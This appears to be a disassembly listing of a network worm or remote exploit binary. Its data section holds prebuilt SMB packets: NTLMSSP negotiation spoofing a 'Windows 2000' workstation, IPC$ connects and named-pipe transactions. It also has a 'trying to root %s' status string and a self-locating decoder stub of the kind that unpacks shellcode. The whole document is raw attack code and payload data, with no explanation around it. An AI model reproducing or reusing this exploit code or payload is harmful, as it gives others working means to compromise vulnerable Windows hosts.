		dd 102B0008h, 26048h, 80000h, 22600001h, 2DB4CF8Bh, 798F91A7h
		dd 9D215062h, 1CE53h, 5D040000h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h, 26048h, 90000h, 6AC40001h, 849D78F3h, 6438019Dh
		dd 0E534CAC7h, 3FB45h, 5D040000h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h, 26048h, 0A0000h, 0AB9D0001h, 0A30CD6EFh
		dd 0D8DA93FDh, 0D8EC0C39h, 680FBh, 5D040002h, 1CEB8A88h
		dd 0E89F11C9h, 102B0008h, 26048h, 0B0000h, 7B60001h, 0B763259h
		dd 83CE5AFh, 35B8CCB1h,	54588h,	5D040003h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h, 26048h, 0C0000h, 22A60001h, 0F50E68ECh, 5EDAD388h
		dd 0A44DCCA6h, 1C6B6h, 5D040000h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h, 26048h, 0D0000h, 50C10001h, 8786F974h, 0FF9EE96h
		dd 0B5B93FDEh, 394D0h, 5D040002h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h, 26048h, 0E0000h, 31000001h, 0D433AE6Ah, 98C54BE8h
		dd 185B9B8Fh, 23122h, 5D040002h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h, 26048h, 0F0000h, 4FC80001h, 16704B32h, 781201D3h
		dd 6EBF475Ah, 388E1h, 5D040000h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h, 26048h, 100000h, 0DE960001h, 5B30B378h, 469AE9FEh
		dd 0ECD0F96h, 444E6h, 5D040003h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h, 26048h, 110000h, 0A9B40001h, 640309A4h, 0A1338C6Ch
		dd 0F6D1EF39h, 2E8BCh, 5D040001h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h, 26048h, 120000h, 8BA10001h, 8040A429h, 0B9F09E15h
		dd 43423390h, 25811h, 5D040000h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h, 26048h, 130000h, 5D800001h, 7CA6EAEFh, 9C7FA1BEh
		dd 900800C3h, 437C6h, 5D040002h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h, 26048h, 140000h, 96280001h, 80DFA998h, 35D07846h
		dd 1613D94Dh, 6212Eh, 5D040001h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h
dword_4228E0	dd 26048h, 150000h, 8DBC0001h, 9410948Ah, 3EC6AE42h, 9EA6C8F6h
					; DATA XREF: seg001:004036DEo
		dd 6DB96h, 5D040003h, 1CEB8A88h, 0E89F11C9h, 102B0008h
		dd 26048h, 160000h, 3A30001h, 0A1E2E55Eh, 4F372266h, 5E1CF00Fh
		dd 5FF0Fh, 5D040003h, 1CEB8A88h, 0E89F11C9h, 102B0008h
		dd 26048h, 170000h, 0A6C60001h,	600F5C0Bh, 9376FE39h, 0F02A6305h
		dd 151A2h, 5D040003h, 1CEB8A88h, 0E89F11C9h, 102B0008h
		dd 26048h, 180000h, 20290001h, 4A8040BFh, 0A773ED25h, 9D548349h
		dd 21268h, 5D040002h, 1CEB8A88h, 0E89F11C9h, 102B0008h
		dd 26048h, 190000h, 2FB90001h, 274FDBD1h, 131ED051h, 0F3ED8CCAh
		dd 6F5F3h, 5D040002h, 1CEB8A88h, 0E89F11C9h, 102B0008h
		dd 26048h, 1A0000h, 0F6E40001h,	0FB47C143h, 0B31848FAh
		dd 9D8B5559h, 6CB79h, 5D040001h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h, 26048h, 0
dword_4229F0	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: seg001:004036FBo
		dd 0DC00800h, 0F2140800h, 0FF0Eh, 400000h, 0FF000000h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10010000h,	18000000h, 1, 0
		dd 0F000001h, 0B1001F00h, 112145Fh, 0
		dd 1000000h, 0
		dd 15C4A500h, 2, 15000000h, 7C000002h, 0A898B94Eh, 2CB7344Ah
		dd 913DE231h, 0F8137A92h, 7D34FD86h, 3D757871h,	0BA3F6692h
		dd 0BBB9F81Ah, 3CD53891h, 2DB3D628h, 0B4677A15h, 9F147BB0h
		dd 2BA9374Fh, 0B24979FCh, 402C7C97h, 1774B24h, 473574E2h
		dd 737E7FB1h, 42BEF530h, 0F933B725h, 9890D46Bh,	0BFFD10B8h
		dd 4A70E389h, 9BB5994Eh, 0C0FF2241h, 72761DE1h,	0E0184304h
		dd 0A805460Ch, 1CEB8427h, 0EB11B693h, 96A89648h, 747D7199h
		dd 0FC85FD02h, 7570417Eh, 0F5204214h, 0B9A9B692h, 2CE1831Dh
		dd 277B7ABEh, 88904035h, 0B834B7D6h, 9F0C9167h,	4EB4BA25h
		dd 247F78B2h, 9715434Bh, 0E219F82Ah, 983C7948h,	0B1371CBBh
		dd 47763F9Bh, 305B54Ah,	0D308BFD4h, 9349E0D2h, 873DD532h
		dd 0B34F77F9h, 697C0473h, 7246E3F7h, 0B02D66h
dword_422B4C	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: seg001:00403718o
		dd 0DC00800h, 0F2140800h, 0FF0Eh, 18400000h, 0FF000001h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 0F000001h, 1D001F00h, 0C1FED081h, 53D73EBh, 0F9214192h
		dd 0C46154Ah, 443797Dh,	39FC1B75h, 0D62977E2h, 969B4FB1h
		dd 47257274h, 496697BEh, 7BD5124Eh, 0FD832C76h,	377FBFB8h
		dd 2442B699h, 0D46B70A9h, 912DBA9Fh, 0F820787Ah, 0B2F58034h
		dd 0E3027C27h, 0B73C7135h, 4B3F7EBBh, 1C9067A8h, 0D22998B5h
		dd 40B348E0h, 0B9B4B093h, 2176E138h, 0A91477E3h, 73E2F719h
		dd 86F98135h, 791DE1D1h, 69437278h, 919FB4D5h, 14B69325h
		dd 4BB84847h, 0B5F53905h, 7E99B704h, 377AF803h,	427D3C4Fh
		dd 0D4F62A7Bh, 9BA8B2B0h, 0B14A2475h, 97BB3496h, 4EFD33B3h
		dd 9246EB01h, 0D60B661Ch, 70E03190h, 2C2D7C27h,	67BF9840h
		dd 7F154174h, 0BE3F7149h, 0CFC10B9h, 3D76717Dh,	7473A9BAh
		dd 117F9237h, 0C13B7AE0h, 1A277BE2h, 0A81C78E3h, 3A96F585h
		dd 4E7775F9h, 7970B4B5h, 1DBBBA2Dh, 0B3257298h,	0EBD084B0h
		dd 7E467Ch
dword_422CA8	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: seg001:00403735o
		dd 0DC00800h, 0F2140800h, 0FF0Eh, 30400000h, 0FF000002h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 0F000001h, 22001F00h, 0B749E1C0h, 24990C67h,	0D6134114h
		dd 43435B6h, 91BED42Bh,	32BFF887h, 0FD234BD5h, 0FC18053Ch
		dd 0B9403D90h, 4A70B243h, 667C1577h, 9F2C79B1h,	7FB8979Bh
		dd 9342EB12h, 0D3894778h, 3F7E48E2h, 4FE10871h,	72B32C7Dh
		dd 763D7347h, 2575B440h, 0BFD51D7Bh, 0BA15E388h, 96B2BB9Bh
		dd 914E49FCh, 0E009247Ah, 0B698F830h, 0A867B0A9h, 669F461Ch
		dd 4F48B942h, 0B53CB141h, 93F52899h, 34B7D643h,	3527F9BEh
		dd 92974B37h, 0B82D4AFDh, 0C050474h, 143FD41Bh,	66FCB790h
		dd 2CB93D05h, 0BB4FD51Ah, 0A9D6B5BEh, 4146B21Ch, 74D9D8DBh
		dd 0EBBFF424h, 2943AC5Dh, 5E52B1C9h, 3104C683h,	9503137Eh
		dd 0E8B64E4Eh, 15D671B5h, 83D5CACAh, 0AACD9EDEh, 2CF1DEDEh
		dd 882A4DAAh, 5B0EC827h, 5A16D64Bh, 44A9535Bh, 75163B28h
		dd 41DD8DC5h, 980C0F92h, 5E7C9664h, 9F7BDDA4h, 0DD8513EFh
		dd 0BEDF1Bh
dword_422E04	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: seg001:00403752o
		dd 0DC00800h, 0F2140800h, 0FF0Eh, 48400000h, 0FF000003h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 0F000001h, 0B5001F00h, 0D0B408FFh, 1B12168Bh, 17D1CE67h
		dd 3BB9843Ch, 6F4671C3h, 4B250C48h, 0A2756E52h,	87F214B1h
		dd 0B445E75h, 0BE5910FDh, 9E69918Ah, 10249FE4h,	0FA47CF19h
		dd 6AD1A387h, 1D76767Bh, 0B5D94408h, 0FE8D7811h, 50758503h
		dd 0D9D5A023h, 346B2B3Eh, 0AC3EB6C8h, 581049CBh, 3564BC15h
		dd 165040F2h, 0CB0EEDAEh, 0B8F24113h, 5692B56Ch, 0F53DEE90h
		dd 9157EF1Fh, 0A627EABBh, 421EF593h, 6DCA5B0Ch,	3C5033FCh
		dd 0C1CF2AD3h, 0C2A5FEFAh, 75A369D3h, 7A7C2052h, 0D0D6E38Ch
		dd 4B07FB64h, 0ADD1E4EEh, 0E7DEBD96h, 61F1BD3Ch, 59425D5h
		dd 30D1CB4Ah, 93BB43E6h, 89DCEA3Bh, 7CC06487h, 80AF84C8h
		dd 3E4E478Ah, 0C4230B27h, 9397800Fh, 5019A418h,	0D293B7CEh
		dd 8D079110h, 60E94FBCh, 0D358712Bh, 3A520FEh, 0A6806E68h
		dd 7ECC23A7h, 49CD3B5Dh, 0E2B9135Dh, 687A175Dh,	8FD1CE61h
		dd 3A874Dh
dword_422F60	dd 0CA000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: seg001:0040376Fo
		dd 0DC00800h, 0F2140800h, 80000010h, 0E0040000h, 0FFh
		dd 2 dup(0)
		dd 80004A00h, 2004A00h,	2600h, 5C008740h, 45504950h, 5005Ch
		dd 100200h, 800000h, 0
		dd offset dword_680000
		dd 0F0000h, 8EA1001Fh, 99C29638h, 804C846h, 0Fh	dup(8040002h)
		dd 2, 4D2E93h, 20000h, 0
		dd 20000h, 2EB0000h, 0E40000h, 2 dup(0)
dword_423030	dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
					; DATA XREF: seg001:0040378Co
		dd 9A40000h, 5A4E0000h,	2003100h, 4D4E414Ch, 2E314E41h
		dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
		dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh
dword_423088	dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: seg001:004037A9o
		dd 9A40000h, 5A4E0000h,	0FF0Ch,	2FFDF00h, 100h,	4E000000h
		dd 0
		dd 0D05C00h, 60007180h,	2B06064Ch, 5050106h, 3042A002h
		dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
		dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
		db    0
		db 20h,	2 dup(0)
		db    0
		db 0Ch,	0, 0Ch
		db    0
		db 20h,	2 dup(0)
		db    0
aWorkstation1_0	db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_2	db 'Windows 2000 5.0',0
dword_423138	dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: seg001:004037C6o
		dd 9A40000h, 5A4E0800h,	0FF0Ch,	2FFDF00h, 100h,	94000000h
		dd 0
		dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
		dd 534D4C54h, 3005053h,	18000000h, 40001800h, 18000000h
		dd 58001800h, 0
		dd 70000000h, 0
		dd 70000000h, 18000000h, 70001800h, 2 dup(0)
		dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
		db    0
		db 2 dup(0), 0AFh
		db 0BBh	; »
		db 10h,	5Ch, 1Eh
		db  71h	; q
		db 0DBh, 8Dh, 7Ch
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0FEh, 0F1h, 31h
		db    5
		db 35h,	30h, 43h
		db    4
		db 0F9h, 0DDh, 0C0h
		db 0A0h	;  
		dd offset byte_57D1F6
		dd offset byte_52004F
		dd offset byte_53004B
		dd offset loc_410054
		dd offset dword_490054
		dd offset byte_4E004F
		db 31h,	0, 57h
aIndows200021_0	db 'indows 2000 2195',0
aWindows20005_3	db 'Windows 2000 5.0',0
		align 10h
dword_423230	dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: seg001:004037E0o
		dd 9A40000h, 5A4E0800h,	0FF04h,	1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_423270	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: seg001:004037FAo
		dd 9A40800h, 5A4E0800h,	0FF18h,	80000h,	16h, 0
		dd 2019Fh, 3 dup(0)
		dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h
dword_4232D0	dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: seg001:00403817o
		dd 9A40800h, 5A4E0800h,	48000010h, 0E0040000h, 0FFh, 2 dup(0)
		dd 48004A00h, 2004A00h,	2600h, 5C004F40h, 45504950h, 5005Ch
		dd 10030Bh, 480000h, 0
		dd 16D00000h, 16D0h, 10000h, 0
		dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
		dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h,	26048h
		dd 0
dword_423368	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: seg001:00403834o
		dd 9A40800h, 5A4E0800h,	0FF0Eh,	400000h, 0FF000000h, 8FFFFFFh
		dd 11800h, 3F011800h, 0
		dd 5011800h, 10010000h,	18000000h, 1, 0
		dd 1, 0D4001F00h, 1000E03h, 0
		dd 1000000h, 0
		dd 63166500h, 1, 63000000h, 41000001h, 0BE3F9B42h, 2425B490h
		dd 0BAA80466h, 0F598B149h, 0C9339327h, 0C4DD52B1h, 0F42474D9h
		dd 0DB4AB85Eh, 46315650h, 13460313h, 0B2DF8C83h, 0CD2491A3h
		dd 765B6EA3h, 3A4FFAC0h, 3A7003D0h, 0A90493DFh,	77907704h
		dd 72DAFC79h, 0F6CC03F9h, 56991BB6h, 21761A69h,	0B30328E2h
		dd 2DD3611Ah, 3913054Eh, 0CF5EC488h, 24B50497h,	0ED6EDCACh
		dd 0B2E539A6h, 2A11C06Ch, 38AECEE6h, 0D431D2A7h, 0A3BAC65Bh
		dd 0D2A13230h, 70020B0Bh, 0F2842807h, 746FA257h, 35E41744h
		dd 3B93397Ch, 148FCB32h, 0C6290534h, 0DA85C1ACh, 28996658h
		dd 9DA2DCC6h, 0E2B11790h, 0CDB5F75Ah, 94AC7EC2h, 5B276D7Dh
		dd 0A43A072Bh, 53E3BF03h, 9B439251h, 3038BF4Fh,	0E5FC6C23h
		dd 0DAFDC180h, 3028D61h, 528C1E0Bh, 2AC841h
dword_4234C4	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: seg001:00403851o
		dd 9A40800h, 5A4E0800h,	0FF0Eh,	18400000h, 0FF000001h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		db    1
		align 4
		db    0
		db 1Fh,	0, 8Eh
		db  1Ah
		db 0CFh, 64h, 50h
		db  0Ch
		db 0A5h, 9Ah, 0FFh
		db 0E4h	; ä
		db 0C6h, 4Bh, 97h
		db 0A2h	; ¢
		db 95h,	42h, 81h
		db 0FCh	; ü
		db 1Ah,	4Ch, 2
		db  56h	; V
		db 1Bh,	0A1h, 0CDh
; ---------------------------------------------------------------------------
		mov	ebp, 6947C4AAh
		rcr	dword ptr [edi], cl
		pop	es
		sar	dword ptr [edi-0Bh], 57h
		cmp	esp, ebp
		popf
		inc	eax
		retn
; ---------------------------------------------------------------------------
		db 0D4h, 27h, 0D8h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0Eh,	82h, 19h
		db 0E3h	; ã
		db 0C8h, 47h, 82h
		db  62h	; b
		db 7Ch,	0FBh, 27h
		db 0E2h	; â
		db 99h,	91h, 0E7h
		db 0ADh	; ­
		db 48h,	0AAh, 81h
		db 0A9h	; ©
		db 0E0h, 76h, 1Bh
		db 0D7h	; ×
		db 0C5h, 0B6h, 0E8h
		db 0B2h	; ²
		db 0DBh, 75h, 22h
		db  3Dh	; =
		db 61h,	56h, 0AFh
		db  4Ch	; L
		db 1Fh,	9Eh, 64h
		db 0E5h	; å
		db 74h,	0B6h, 8
; ---------------------------------------------------------------------------
		add	al, 39h
		push	ecx
		adc	cl, [ebp+353AA179h]
		setalc
		setb	byte ptr [ebx+4D15C589h]
		js	short loc_4235DA
		inc	edi
		xchg	eax, edx
		stosb
		pop	es
		retf	4FB5h
; ---------------------------------------------------------------------------
		dw 4716h
		dd 97CC99B9h, 0B8EE12BAh, 0BAEC0BCEh, 6BF3D715h, 0FCDCE8C7h
		dd 9C3DD807h, 0A26B1B84h, 4E5054FBh, 68314842h,	654E446Fh
		dd 36677A49h, 794D546Fh, 51584D5Ah, 656D4B77h, 67647671h
		dd 506E4569h, 516D6A53h
; ---------------------------------------------------------------------------
		jo	short near ptr byte_42363D


loc_4235DA:				; CODE XREF: seg001:00423589j
		dec	ebp
		pop	eax
		xor	[esi+eax*2], dh
		push	esp
		inc	ebx
		dec	esi
		outsb
		pop	edx
		jnz	short loc_423658
		outsb
		push	edi
		js	short near ptr byte_42364F
		db	36h
		jnb	short near ptr byte_423635
		inc	edi
		outsd
		jbe	short loc_423643
		arpl	[ebx+4Dh], bp
		cmp	[esi+75h], esp
		push	esp
		push	ecx
		pop	eax
		inc	edi
		cmp	[ebp+32h], esi
		jno	short near ptr dword_423650
		insd
		xor	[edi+70h], ebp
		outsb
		push	ebp
		xor	al, 37h
		xor	ebp, [esi+4Dh]
		inc	edi
		xor	al, 4Dh
		inc	esi
		imul	esi, [ecx+ecx*2], 6Fh
		push	eax
		dec	edi
		xor	esi, [edx]
		xor	[edx+36h], ah
		db	64h
		dec	ebp
		xor	[edx+53h], bh
; ---------------------------------------------------------------------------
		db 0
dword_423620	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 0		db 0
byte_423635	db 3 dup(0)		; CODE XREF: seg001:004235EAj
		dd 0
		db 0
byte_42363D	db 8, 0A4h, 9		; CODE XREF: seg001:004235D8j
		db 0, 8, 4Eh
; ---------------------------------------------------------------------------


loc_423643:				; CODE XREF: seg001:004235EFj
		pop	edx
		push	cs
		inc	dword ptr [eax]
; ---------------------------------------------------------------------------
		db 0
		dd 30400000h
		db 2, 2	dup(0)
byte_42364F	db 0FFh			; CODE XREF: seg001:004235E8j
dword_423650	dd 8FFFFFFh, 11800h; ---------------------------------------------------------------------------


loc_423658:				; CODE XREF: seg001:004235E4j
		add	[eax], bl
		add	[edi], edi
; ---------------------------------------------------------------------------
		dd 0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 50001F00h, 68436565h, 4968386Ch, 4B777338h, 35425561h
		dd 4A6A4136h, 32336672h, 644B555Ah, 4C43334Ah, 53686970h
		dd 49637A33h, 6E446E66h, 4D444767h, 64453935h, 64423747h
		dd 34543175h, 726E6156h, 4F6C756Fh, 7A515044h, 52324B49h
		dd 42324D54h, 36636456h, 7559746Fh, 35775677h, 61434C47h
		dd 375A4641h, 61424243h, 6168646Fh, 52664D70h, 7464546Bh
		dd 4F77724Eh, 74647243h, 317A4867h, 0A527A69h, 72000208h
		dd 6B665136h, 4484A5Ah,	66000208h, 73636151h, 37376876h
		dd 49356663h, 504C7542h, 397A4F61h, 4A4D5561h, 3250614Eh
		dd 4577149h, 65000208h,	34634171h, 4346E33h, 39000208h
		dd 7739596Dh, 354D5A31h, 6E674177h, 57346C78h, 6941456Eh
		dd 4F756F41h, 3644737Ah, 4D676Dh, 5A1E9900h, 1000000h
		dd 0
		dd 1000000h, 0
		dd 0F089E800h, 0
dword_42377C	dd 66000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: seg001:00403888o
		dd 9A40800h, 5A4E0800h,	1C000010h, 0E0040000h, 0FFh, 2 dup(0)
		dd 1C004A00h, 2004A00h,	2600h, 5C002340h, 45504950h, 5005Ch
		dd 100200h, 1C0000h, 0
		dd 40000h, 0
		dd 1Fh,	0
dword_4237E8	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: seg001:004038A5o
		dd 9A40800h, 5A4E0800h,	0FF0Eh,	400000h, 0FF000000h, 8FFFFFFh
		dd 11800h, 3F011800h, 0
		dd 5011800h, 10010000h,	18000000h, 1, 0
		dd 1, 0D4001F00h, 1000E03h, 0
		dd 1000000h, 0
		dd 63166500h, 1, 63000000h, 41000001h, 0BE3F9B42h, 2425B490h
		dd 0BAA80466h, 0F598B149h, 0C9339327h, 0C4DD52B1h, 0F42474D9h
		dd 0DB4AB85Eh, 46315650h, 13460313h, 0B2DF8C83h, 0CD2491A3h
		dd 765B6EA3h, 3A4FFAC0h, 3A7003D0h, 0A90493DFh,	77907704h
		dd 72DAFC79h, 0F6CC03F9h, 56991BB6h, 21761A69h,	0B30328E2h
		dd 2DD3611Ah, 3913054Eh, 0CF5EC488h, 24B50497h,	0ED6EDCACh
		dd 0B2E539A6h, 2A11C06Ch, 38AECEE6h, 0D431D2A7h, 0A3BAC65Bh
		dd 0D2A13230h, 70020B0Bh, 0F2842807h, 746FA257h, 35E41744h
		dd 3B93397Ch, 148FCB32h, 0C6290534h, 0DA85C1ACh, 28996658h
		dd 9DA2DCC6h, 0E2B11790h, 0CDB5F75Ah, 94AC7EC2h, 5B276D7Dh
		dd 0A43A072Bh, 53E3BF03h, 9B439251h, 3038BF4Fh,	0E5FC6C23h
		dd 0DAFDC180h, 3028D61h, 528C1E0Bh, 2AC841h
dword_423944	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: seg001:004038C2o
		dd 9A40800h, 5A4E0800h,	0FF0Eh,	18400000h, 0FF000001h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		db    1
		align 4
		db    0
		db 1Fh,	0, 8Eh
		db  1Ah
		db 0CFh, 64h, 50h
		db  0Ch
		db 0A5h, 9Ah, 0FFh
		db 0E4h	; ä
		db 0C6h, 4Bh, 97h
		db 0A2h	; ¢
		db 95h,	42h, 81h
		db 0FCh	; ü
		db 1Ah,	4Ch, 2
		db  56h	; V
		db 1Bh,	0A1h, 0CDh
; ---------------------------------------------------------------------------
		mov	ebp, 6947C4AAh
		rcr	dword ptr [edi], cl
		pop	es
		sar	dword ptr [edi-0Bh], 57h
		cmp	esp, ebp
		popf
		inc	eax
		retn
; ---------------------------------------------------------------------------
		db 0D4h, 27h, 0D8h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0Eh,	82h, 19h
		db 0E3h	; ã
		db 0C8h, 47h, 82h
		db  62h	; b
		db 7Ch,	0FBh, 27h
		db 0E2h	; â
		db 99h,	91h, 0E7h
		db 0ADh	; ­
		db 48h,	0AAh, 81h
		db 0A9h	; ©
		db 0E0h, 76h, 1Bh
		db 0D7h	; ×
		db 0C5h, 0B6h, 0E8h
		db 0B2h	; ²
		db 0DBh, 75h, 22h
		db  3Dh	; =
		db 61h,	56h, 0AFh
		db  4Ch	; L
		db 1Fh,	9Eh, 64h
		db 0E5h	; å
		db 74h,	0B6h, 8
; ---------------------------------------------------------------------------
		add	al, 39h
		push	ecx
		adc	cl, [ebp+353AA179h]
		setalc
		setb	byte ptr [ebx+4D15C589h]
		js	short loc_423A5A
		inc	edi
		xchg	eax, edx
		stosb
		pop	es
		retf	4FB5h
; ---------------------------------------------------------------------------
		dw 4716h
		dd 97CC99B9h, 0B8EE12BAh, 0BAEC0BCEh, 6BF3D715h, 0FCDCE8C7h
		dd 9C3DD807h, 0A26B1B84h, 4E5054FBh, 68314842h,	654E446Fh
		dd 36677A49h, 794D546Fh, 51584D5Ah, 656D4B77h, 67647671h
		dd 506E4569h, 516D6A53h
; ---------------------------------------------------------------------------
		jo	short near ptr byte_423ABD


loc_423A5A:				; CODE XREF: seg001:00423A09j
		dec	ebp
		pop	eax
		xor	[esi+eax*2], dh
		push	esp
		inc	ebx
		dec	esi
		outsb
		pop	edx
		jnz	short loc_423AD8
		outsb
		push	edi
		js	short near ptr byte_423ACF
		db	36h
		jnb	short near ptr byte_423AB5
		inc	edi
		outsd
		jbe	short loc_423AC3
		arpl	[ebx+4Dh], bp
		cmp	[esi+75h], esp
		push	esp
		push	ecx
		pop	eax
		inc	edi
		cmp	[ebp+32h], esi
		jno	short near ptr dword_423AD0
		insd
		xor	[edi+70h], ebp
		outsb
		push	ebp
		xor	al, 37h
		xor	ebp, [esi+4Dh]
		inc	edi
		xor	al, 4Dh
		inc	esi
		imul	esi, [ecx+ecx*2], 6Fh
		push	eax
		dec	edi
		xor	esi, [edx]
		xor	[edx+36h], ah
		db	64h
		dec	ebp
		xor	[edx+53h], bh
; ---------------------------------------------------------------------------
		db 0
dword_423AA0	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 0		db 0
byte_423AB5	db 3 dup(0)		; CODE XREF: seg001:00423A6Aj
		dd 0
		db 0
byte_423ABD	db 8, 0A4h, 9		; CODE XREF: seg001:00423A58j
		db 0, 8, 4Eh
; ---------------------------------------------------------------------------


loc_423AC3:				; CODE XREF: seg001:00423A6Fj
		pop	edx
		push	cs
		inc	dword ptr [eax]
; ---------------------------------------------------------------------------
		db 0
		dd 30400000h
		db 2, 2	dup(0)
byte_423ACF	db 0FFh			; CODE XREF: seg001:00423A68j
dword_423AD0	dd 8FFFFFFh, 11800h; ---------------------------------------------------------------------------


loc_423AD8:				; CODE XREF: seg001:00423A64j
		add	[eax], bl
		add	[edi], edi
; ---------------------------------------------------------------------------
		dd 0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 50001F00h, 68436565h, 4968386Ch, 4B777338h, 35425561h
		dd 4A6A4136h, 32336672h, 644B555Ah, 4C43334Ah, 53686970h
		dd 49637A33h, 6E446E66h, 4D444767h, 64453935h, 64423747h
		dd 34543175h, 726E6156h, 4F6C756Fh, 7A515044h, 52324B49h
		dd 42324D54h, 36636456h, 7559746Fh, 35775677h, 61434C47h
		dd 375A4641h, 61424243h, 6168646Fh, 52664D70h, 7464546Bh
		dd 4F77724Eh, 74647243h, 317A4867h, 0A527A69h, 72000208h
		dd 6B665136h, 4484A5Ah,	66000208h, 73636151h, 37376876h
		dd 49356663h, 504C7542h, 397A4F61h, 4A4D5561h, 3250614Eh
		dd 4577149h, 65000208h,	34634171h, 4346E33h, 39000208h
		dd 7739596Dh, 354D5A31h, 6E674177h, 57346C78h, 6941456Eh
		dd 4F756F41h, 3644737Ah, 4D676Dh, 5A1E9900h, 1000000h
		dd 0
		dd 1000000h, 0
		dd 0F089E800h, 0
dword_423BFC	dd 66000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: seg001:004038F9o
		dd 9A40800h, 5A4E0800h,	1C000010h, 0E0040000h, 0FFh, 2 dup(0)
		dd 1C004A00h, 2004A00h,	2600h, 5C002340h, 45504950h, 5005Ch
		dd 100200h, 1C0000h, 0
		dd 40000h, 0
		dd 1Fh,	0
dword_423C68	dd 5B027302h, 5D1F491Fh, 73252820h, 6C1F702Eh, 2029671Fh
					; DATA XREF: seg001:00403966o
		dd 2BBBB02h
aTryingToRootS	db '  trying to root %s',0
		align 8
aFb		db 'fìÐ',7,0           ; DATA XREF: sub_403C2B+A9o
		align 10h
dword_423CA0	dd 129F74h, 0	dword_423CA8	dd 127D78h, 0	
; =============== S U B	R O U T	I N E =======================================



sub_423CB0	proc near		; DATA XREF: sub_403C2B+D5o

; FUNCTION CHUNK AT 00423CB6 SIZE 00000047 BYTES

		pusha
		jmp	short loc_423CB6
sub_423CB0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_423CB3	proc near		; CODE XREF: sub_423CB0:loc_423CB6p
		pop	ebx
		push	ebx
		retn
sub_423CB3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423CB0


loc_423CB6:				; CODE XREF: sub_423CB0+1j
		call	sub_423CB3
		xor	eax, eax
		add	al, 34h
		add	eax, ebx
		push	eax
		pop	ebx


loc_423CC3:				; CODE XREF: sub_423CB0+3Cj
		xor	edx, edx
		add	dl, [eax]
		inc	eax
		add	dh, [eax]
		inc	eax
		push	eax
		xor	eax, eax
		add	al, 41h
		sub	dl, al
		sub	dh, al
		shl	dl, 4
		shr	dx, 4
		xor	eax, eax
		xor	dh, dh
		add	al, [ebx]
		sub	[ebx], al
		add	[ebx], dx
		inc	ebx
		pop	eax
		xor	ecx, ecx
		add	cl, [eax]
		loopne	loc_423CC3
		popa
		add	[esi+ecx*2], cl
		inc	edx


loc_423CF3:				; DATA XREF: sub_403C2B+B4r
		add	[ebx+31h], al


loc_423CF6:				; DATA XREF: sub_403C2B+AEr
		mov	ebp, 7FC77h


loc_423CFB:				; DATA XREF: sub_403C2B:loc_403EF6r
					; sub_403C2B+2F2r ...
		add	[ecx], al
; END OF FUNCTION CHUNK	FOR sub_423CB0
; ---------------------------------------------------------------------------
		db 3 dup(0)
